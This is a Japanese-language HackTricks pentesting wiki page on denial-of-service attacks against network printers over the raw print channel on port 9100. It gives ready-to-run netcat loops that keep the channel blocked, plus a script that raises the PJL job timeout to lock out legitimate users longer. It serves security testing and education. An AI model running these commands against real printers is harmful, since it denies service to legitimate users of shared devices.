hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md

4.6 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

プリントジョブがシリーズで処理される場合(ほとんどのデバイスで想定されている)– 一度に1つのジョブのみを処理できます。このジョブが印刷チャネルを効果的に終了しない場合、タイムアウトがトリガーされるまでチャネルはブロックされ、正当なユーザーが印刷するのを防ぎます。

基本的なDoS

while true; do nc printer 9100; done

この簡単なサービス拒否攻撃は、PJLで高いタイムアウト値を設定することで改善できます。そうすることで、攻撃者が必要とする接続数が減少し、正当なユーザーが空き時間を見つけることがさらに困難になります。

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

PRETを使用してタイムアウト設定を見つけることができます:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300

PJLリファレンスでは最大タイムアウトを300秒と規定していますが、実際には最大PJLタイムアウトは15秒から2147483秒の範囲で変わることがあります。 IPPやLPDのような他の印刷チャネルから受け取った印刷ジョブも、接続が開かれたままである限り、もはや処理されないことに注意してください。

この攻撃についてもっと学ぶには http://hacking-printers.net/wiki/index.php/Transmission_channel をご覧ください。

htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローになる方法を学びましょう

HackTricksをサポートする他の方法: